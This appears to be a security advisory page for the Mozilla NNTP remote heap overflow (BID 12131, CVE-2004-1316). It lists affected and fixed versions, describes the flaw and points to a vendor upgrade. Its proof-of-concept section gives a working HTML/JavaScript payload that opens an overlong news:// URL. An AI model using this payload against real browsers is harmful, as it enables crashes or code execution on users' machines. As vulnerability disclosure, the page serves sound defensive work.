Mozilla Browser Network News Transport Protocol Remote Heap Overflow Vulnerability

BID:12131

Info

Mozilla Browser Network News Transport Protocol Remote Heap Overflow Vulnerability

Bugtraq ID: 12131
Class: Boundary Condition Error
CVE: CVE-2004-1316
Remote: Yes
Local: No
Published: Dec 29 2004 12:00AM
Updated: Jan 25 2007 04:21PM
Credit: Disclosure of this issue is credited to Maurycy Prodeus.
Vulnerable: SuSE Linux 8.1
SuSE Linux 8.0 i386
SuSE Linux 8.0
SGI ProPack 3.0
S.u.S.E. Linux Professional 10.0 OSS
S.u.S.E. Linux Professional 10.0
S.u.S.E. Linux Professional 9.3 x86_64
S.u.S.E. Linux Professional 9.3
S.u.S.E. Linux Professional 9.2 x86_64
S.u.S.E. Linux Professional 9.2
S.u.S.E. Linux Professional 9.1 x86_64
S.u.S.E. Linux Professional 9.1
S.u.S.E. Linux Personal 10.0 OSS
S.u.S.E. Linux Personal 9.3 x86_64
S.u.S.E. Linux Personal 9.3
S.u.S.E. Linux Personal 9.2 x86_64
S.u.S.E. Linux Personal 9.2
S.u.S.E. Linux Personal 9.1 x86_64
S.u.S.E. Linux Personal 9.1
S.u.S.E. Linux Personal 9.0 x86_64
S.u.S.E. Linux Personal 9.0
S.u.S.E. Linux Personal 8.2
Redhat Linux 9.0 i386
Redhat Linux 7.3 i686
Redhat Linux 7.3 i386
Redhat Linux 7.3
Redhat Fedora Core2
Redhat Fedora Core1
Mozilla Thunderbird 0.8
Mozilla Thunderbird 0.7.3
Mozilla Thunderbird 0.7.2
Mozilla Thunderbird 0.7.1
Mozilla Thunderbird 0.7
Mozilla Thunderbird 0.6
Mozilla Browser 1.7.3
+ HP HP-UX B.11.23
 + HP HP-UX B.11.22
 + HP HP-UX B.11.22
 + HP HP-UX B.11.11
 + HP HP-UX B.11.11
 + HP HP-UX B.11.11
 + HP HP-UX B.11.11
 + HP HP-UX B.11.00
 + HP HP-UX B.11.00
 + HP Tru64 5.1 B-2 PK4 (BL25)
 + HP Tru64 5.1 B-2 PK4 (BL25)
 + HP Tru64 5.1 B-2 PK4
 + HP Tru64 5.1 B-2 PK4
 + HP Tru64 5.1 B PK4
 + HP Tru64 5.1 B PK4
 + HP Tru64 5.1 A PK6 (BL24)
 + HP Tru64 5.1 A PK6 (BL24)
 + HP Tru64 5.1 A PK6
 + HP Tru64 5.1 A PK6
 Mozilla Browser 1.7.2
Mozilla Browser 1.7.1
Mozilla Browser 1.7 rc3
Mozilla Browser 1.7 rc2
Mozilla Browser 1.7 rc1
Mozilla Browser 1.7
Mozilla Browser 1.6
Mozilla Browser 1.5.1
Mozilla Browser 1.5
Mozilla Browser 1.4.2
Mozilla Browser 1.4.1
Mozilla Browser 1.4 b
Mozilla Browser 1.4 a
Mozilla Browser 1.4
+ Mandriva Linux Mandrake 9.2 amd64
 + Mandriva Linux Mandrake 9.2
Mozilla Browser 1.3.1
Mozilla Browser 1.3
Mozilla Browser 1.2.1
Mozilla Browser 1.2
Mozilla Browser 1.1
Mozilla Browser 1.0.2
+ Redhat Advanced Workstation for the Itanium Processor 2.1
+ Redhat Advanced Workstation for the Itanium Processor 2.1
+ Redhat Enterprise Linux AS 2.1 IA64
 + Redhat Enterprise Linux AS 2.1 IA64
 + Redhat Enterprise Linux AS 2.1
 + Redhat Enterprise Linux AS 2.1
 + Redhat Enterprise Linux ES 2.1 IA64
 + Redhat Enterprise Linux ES 2.1 IA64
 + Redhat Enterprise Linux ES 2.1
 + Redhat Enterprise Linux ES 2.1
 + Redhat Enterprise Linux WS 2.1 IA64
 + Redhat Enterprise Linux WS 2.1 IA64
 + Redhat Enterprise Linux WS 2.1
 + Redhat Enterprise Linux WS 2.1
 + Sun Linux 5.0.7
Mozilla Browser 1.0.1
Mozilla Browser 1.0
+ Mandriva Linux Mandrake 8.2 ppc
 + Mandriva Linux Mandrake 8.2
+ Redhat Linux 8.0 i386
 + Redhat Linux 8.0
HP HP-UX B.11.23
HP HP-UX B.11.22
HP HP-UX B.11.11
HP HP-UX B.11.00
Not Vulnerable: Mozilla Browser 1.7.5
+ HP Tru64 5.1 B-2 PK4 (BL25)
 + HP Tru64 5.1 B-2 PK4
 + HP Tru64 5.1 B-2 PK4
 + HP Tru64 5.1 B PK4
 + HP Tru64 5.1 B PK4
 + HP Tru64 5.1 A PK6 (BL24)
 + HP Tru64 5.1 A PK6 (BL24)
 + HP Tru64 5.1 A PK6
 + HP Tru64 5.1 A PK6
 Mozilla Browser 1.7.4

Discussion

Mozilla Browser Network News Transport Protocol Remote Heap Overflow Vulnerability

A remote heap-overflow vulnerability affects Mozilla Browser's network news transport protocol (NNTP) functionality. This issue is due to the application's failure to properly validate the length of user-supplied strings before copying them into dynamically allocated process buffers.

An attacker may exploit this issue to execute arbitrary code with the privileges of the user that activated the vulnerable application. This may facilitate unauthorized access or privilege escalation.

Exploit / POC

Mozilla Browser Network News Transport Protocol Remote Heap Overflow Vulnerability

The following proof-of-concept script has been made available:

<html>
<script>
i = "news://news.individual.net/AAAAAAAAAAAAAA?";
for(l = 0; l < 16376; l++)
i=i+"A";
i=i+"/?profile/";
for(l = 0; l < 16384; l++)
i=i+"A";
i=i+"\\";
window.open(i);
</script>
</html>

Solution / Fix

Mozilla Browser Network News Transport Protocol Remote Heap Overflow Vulnerability

Solution:
The vendor has released an upgrade dealing with this issue.

Please see the referenced advisories for further information.


Mozilla Thunderbird 0.8

Mozilla Browser 1.0

Mozilla Browser 1.0.1

Mozilla Browser 1.0.2

Mozilla Browser 1.1

Mozilla Browser 1.2

Mozilla Browser 1.2.1

Mozilla Browser 1.3

Mozilla Browser 1.3.1

Mozilla Browser 1.4 b

Mozilla Browser 1.4

Mozilla Browser 1.4 a

Mozilla Browser 1.4.1

Mozilla Browser 1.4.2

Mozilla Browser 1.5

Mozilla Browser 1.5.1

Mozilla Browser 1.6

Mozilla Browser 1.7 rc1

Mozilla Browser 1.7

Mozilla Browser 1.7 rc2

Mozilla Browser 1.7 rc3

Mozilla Browser 1.7.1

Mozilla Browser 1.7.2

Mozilla Browser 1.7.3

S.u.S.E. Linux Professional 10.0

SGI ProPack 3.0

S.u.S.E. Linux Professional 9.1

S.u.S.E. Linux Professional 9.2

S.u.S.E. Linux Professional 9.3

References

Mozilla Browser Network News Transport Protocol Remote Heap Overflow Vulnerability

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